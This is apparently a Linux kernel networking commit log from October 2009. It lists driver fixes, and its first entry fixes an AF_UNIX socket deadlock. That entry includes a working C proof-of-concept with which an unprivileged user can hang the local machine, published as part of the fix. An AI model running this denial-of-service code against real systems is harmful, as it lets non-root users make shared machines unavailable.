1. 20 10月, 2009 1 次提交
  2. 19 10月, 2009 3 次提交
    • T
      AF_UNIX: Fix deadlock on connecting to shutdown socket · 77238f2b
      Tomoki Sekiyama 提交于
      I found a deadlock bug in UNIX domain socket, which makes able to DoS
      attack against the local machine by non-root users.
      
      How to reproduce:
      1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
          namespace(*), and shutdown(2) it.
       2. Repeat connect(2)ing to the listening socket from the other sockets
          until the connection backlog is full-filled.
       3. connect(2) takes the CPU forever. If every core is taken, the
          system hangs.
      
      PoC code: (Run as many times as cores on SMP machines.)
      
      int main(void)
      {
      	int ret;
      	int csd;
      	int lsd;
      	struct sockaddr_un sun;
      
      	/* make an abstruct name address (*) */
      	memset(&sun, 0, sizeof(sun));
      	sun.sun_family = PF_UNIX;
      	sprintf(&sun.sun_path[1], "%d", getpid());
      
      	/* create the listening socket and shutdown */
      	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
      	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
      	listen(lsd, 1);
      	shutdown(lsd, SHUT_RDWR);
      
      	/* connect loop */
      	alarm(15); /* forcely exit the loop after 15 sec */
      	for (;;) {
      		csd = socket(AF_UNIX, SOCK_STREAM, 0);
      		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
      		if (-1 == ret) {
      			perror("connect()");
      			break;
      		}
      		puts("Connection OK");
      	}
      	return 0;
      }
      
      (*) Make sun_path[0] = 0 to use the abstruct namespace.
          If a file-based socket is used, the system doesn't deadlock because
          of context switches in the file system layer.
      
      Why this happens:
       Error checks between unix_socket_connect() and unix_wait_for_peer() are
       inconsistent. The former calls the latter to wait until the backlog is
       processed. Despite the latter returns without doing anything when the
       socket is shutdown, the former doesn't check the shutdown state and
       just retries calling the latter forever.
      
      Patch:
       The patch below adds shutdown check into unix_socket_connect(), so
       connect(2) to the shutdown socket will return -ECONREFUSED.
      Signed-off-by: NTomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
      Signed-off-by: NMasanori Yoshida <masanori.yoshida.tv@hitachi.com>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      77238f2b
    • T
      ethoc: clear only pending irqs · 50c54a57
      Thomas Chou 提交于
      This patch fixed the problem of dropped packets due to lost of
      interrupt requests. We should only clear what was pending at the
      moment we read the irq source reg.
      Signed-off-by: NThomas Chou <thomas@wytron.com.tw>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      50c54a57
    • T
      ethoc: inline regs access · 16dd18b0
      Thomas Chou 提交于
      Signed-off-by: NThomas Chou <thomas@wytron.com.tw>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      16dd18b0
  3. 17 10月, 2009 1 次提交
    • R
      vmxnet3: use dev_dbg, fix build for CONFIG_BLOCK=n · f6965582
      Randy Dunlap 提交于
      vmxnet3 was using dprintk() for debugging output.  This was
      defined in <linux/dst.h> and was the only thing that was
      used from that header file.  This caused compile errors
      when CONFIG_BLOCK was not enabled due to bio* and BIO*
      uses in the header file, so change this driver to use
      dev_dbg() for debugging output.
      
      include/linux/dst.h:520: error: dereferencing pointer to incomplete type
      include/linux/dst.h:520: error: 'BIO_POOL_BITS' undeclared (first use in this function)
      include/linux/dst.h:521: error: dereferencing pointer to incomplete type
      include/linux/dst.h:522: error: dereferencing pointer to incomplete type
      include/linux/dst.h:525: error: dereferencing pointer to incomplete type
      make[4]: *** [drivers/net/vmxnet3/vmxnet3_drv.o] Error 1
      Signed-off-by: NRandy Dunlap <randy.dunlap@oracle.com>
      Signed-off-by: NBhavesh Davda <bhavesh@vmware.com>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      f6965582
  4. 15 10月, 2009 8 次提交
    • E
      virtio_net: use dev_kfree_skb_any() in free_old_xmit_skbs() · ed79bab8
      Eric Dumazet 提交于
      Because netpoll can call netdevice start_xmit() method with
      irqs disabled, drivers should not call kfree_skb() from
      their start_xmit(), but use dev_kfree_skb_any() instead.
      
      Oct  8 11:16:52 172.30.1.31 [113074.791813] ------------[ cut here ]------------
      Oct  8 11:16:52 172.30.1.31 [113074.791813] WARNING: at net/core/skbuff.c:398 \
                      skb_release_head_state+0x64/0xc8()
      Oct  8 11:16:52 172.30.1.31 [113074.791813] Hardware name:
      Oct  8 11:16:52 172.30.1.31 [113074.791813] Modules linked in: netconsole ocfs2 jbd2 quota_tree \
      ocfs2_dlmfs ocfs2_stack_o2cb ocfs2_dlm ocfs2_nodemanager ocfs2_stackglue configfs crc32c drbd cn loop \
      serio_raw psmouse snd_pcm snd_timer snd soundcore snd_page_alloc virtio_net pcspkr parport_pc parport \
      i2c_piix4 i2c_core button processor evdev ext3 jbd mbcache dm_mirror dm_region_hash dm_log dm_snapshot \
      dm_mod ide_cd_mod cdrom ata_generic ata_piix virtio_blk libata scsi_mod piix ide_pci_generic ide_core \
                      virtio_pci virtio_ring virtio floppy thermal fan thermal_sys [last unloaded: netconsole]
      Oct  8 11:16:52 172.30.1.31 [113074.791813] Pid: 11132, comm: php5-cgi Tainted: G        W  \
                      2.6.31.2-vserver #1
      Oct  8 11:16:52 172.30.1.31 [113074.791813] Call Trace:
      Oct  8 11:16:52 172.30.1.31 [113074.791813] <IRQ>  [<ffffffff81253cd5>] ? \
                      skb_release_head_state+0x64/0xc8
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81253cd5>] ? skb_release_head_state+0x64/0xc8
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81049ae1>] ? warn_slowpath_common+0x77/0xa3
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81253cd5>] ? skb_release_head_state+0x64/0xc8
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81253a1a>] ? __kfree_skb+0x9/0x7d
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffffa01cb139>] ? free_old_xmit_skbs+0x51/0x6e \
                      [virtio_net]
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffffa01cbc85>] ? start_xmit+0x26/0xf2 [virtio_net]
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff8126934f>] ? netpoll_send_skb+0xd2/0x205
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffffa0429216>] ? write_msg+0x90/0xeb [netconsole]
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81049f06>] ? __call_console_drivers+0x5e/0x6f
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff8102b49d>] ? kvm_clock_read+0x4d/0x52
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff8104a082>] ? release_console_sem+0x115/0x1ba
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff8104a632>] ? vprintk+0x2f2/0x34b
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff8106b142>] ? vx_update_load+0x18/0x13e
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81308309>] ? printk+0x4e/0x5d
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff8102b49d>] ? kvm_clock_read+0x4d/0x52
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81070b62>] ? getnstimeofday+0x55/0xaf
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81062683>] ? ktime_get_ts+0x21/0x49
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff810626b7>] ? ktime_get+0xc/0x41
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81062788>] ? hrtimer_interrupt+0x9c/0x146
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81024a4b>] ? smp_apic_timer_interrupt+0x80/0x93
      Oct  8 11:16:52 172.30.1.31 [113074.791813] [<ffffffff81011663>] ? apic_timer_interrupt+0x13/0x20
      Oct  8 11:16:52 172.30.1.31 [113074.791813] <EOI>  [<ffffffff8130a9eb>] ? _spin_unlock_irq+0xd/0x31
      Reported-and-tested-by: NMassimo Cetra <mcetra@navynet.it>
      Signed-off-by: NEric Dumazet <eric.dumazet@gmail.com>
      Bug-Entry: http://bugzilla.kernel.org/show_bug.cgi?id=14378Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      ed79bab8
    • S
      be2net: fix support for PCI hot plug · 43a04fdc
      Sathya Perla 提交于
      Before issuing any cmds to the FW, the driver must first wait
      till the fW becomes ready. This is needed for PCI hot plug when
      the driver can be probed while the card fw is being initialized.
      Signed-off-by: NSathya Perla <sathyap@serverengines.com>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      43a04fdc
    • S
    • R
      vmxnet: fix 2 build problems · 8f7e524c
      Randy Dunlap 提交于
      vmxnet3 uses in_dev* interfaces so it should depend on INET.
      Also fix so that the driver builds when CONFIG_PCI_MSI is disabled.
      
      vmxnet3_drv.c:(.text+0x2a88cb): undefined reference to `in_dev_finish_destroy'
      
      drivers/net/vmxnet3/vmxnet3_drv.c:1335: error: 'struct vmxnet3_intr' has no member named 'msix_entries'
      drivers/net/vmxnet3/vmxnet3_drv.c:1384: error: 'struct vmxnet3_intr' has no member named 'msix_entries'
      drivers/net/vmxnet3/vmxnet3_drv.c:2137: error: 'struct vmxnet3_intr' has no member named 'msix_entries'
      drivers/net/vmxnet3/vmxnet3_drv.c:2138: error: 'struct vmxnet3_intr' has no member named 'msix_entries'
      Signed-off-by: NRandy Dunlap <randy.dunlap@oracle.com>
      Signed-off-by: NBhavesh davda <bhavesh@vmware.com>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      8f7e524c
    • G
      net: add support for STMicroelectronics Ethernet controllers. · 47dd7a54
      Giuseppe Cavallaro 提交于
      This is the driver for the ST MAC 10/100/1000 on-chip Ethernet
      controllers (Synopsys IP blocks).
      
      Driver documentation:
       o http://stlinux.com/drupal/kernel/network/stmmac
      Revisions:
       o http://stlinux.com/drupal/kernel/network/stmmac-driver-revisions
      Performances:
       o http://stlinux.com/drupal/benchmarks/networking/stmmacSigned-off-by: NGiuseppe Cavallaro <peppe.cavallaro@st.com>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      47dd7a54
    • R
      net: ks8851_mll uses mii interfaces · 47a01a0c
      Randy Dunlap 提交于
      From: Randy Dunlap <randy.dunlap@oracle.com>
      
      ks8851_mll uses mii interfaces so it needs to select MII.
      
      ks8851_mll.c:(.text+0xf95ac): undefined reference to `generic_mii_ioctl'
      ks8851_mll.c:(.text+0xf96a0): undefined reference to `mii_ethtool_gset'
      ks8851_mll.c:(.text+0xf96fa): undefined reference to `mii_ethtool_sset'
      ks8851_mll.c:(.text+0xf9754): undefined reference to `mii_link_ok'
      ks8851_mll.c:(.text+0xf97ae): undefined reference to `mii_nway_restart'
      Signed-off-by: NRandy Dunlap <randy.dunlap@oracle.com>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      47a01a0c
    • J
      net/fec_mpc52xx: Fix kernel panic on FEC error · 37ccd92f
      John Bonesio 提交于
      The MDIO bus cannot be accessed at interrupt context, but on an FEC
      error, the fec_mpc52xx driver reset function also tries to reset the
      PHY.  Since the error is detected at IRQ context, and the PHY functions
      try to sleep, the kernel ends up panicking.
      
      Resetting the PHY on an FEC error isn't even necessary.  This patch
      solves the problem by removing the PHY reset entirely.
      Signed-off-by: NJohn Bonesio <bones@secretlab.ca>
      Signed-off-by: NGrant Likely <grant.likely@secretlab.ca>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      37ccd92f
    • A
      net: Fix OF platform drivers coldplug/hotplug when compiled as modules · e72701ac
      Anton Vorontsov 提交于
      Some OF platform drivers are missing module device tables, so they won't
      load automatically on boot. This patch fixes the issue by adding proper
      MODULE_DEVICE_TABLE() macros to the drivers.
      Signed-off-by: NAnton Vorontsov <avorontsov@ru.mvista.com>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      e72701ac
  5. 14 10月, 2009 3 次提交
  6. 13 10月, 2009 17 次提交
  7. 12 10月, 2009 4 次提交
  8. 10 10月, 2009 1 次提交
  9. 09 10月, 2009 2 次提交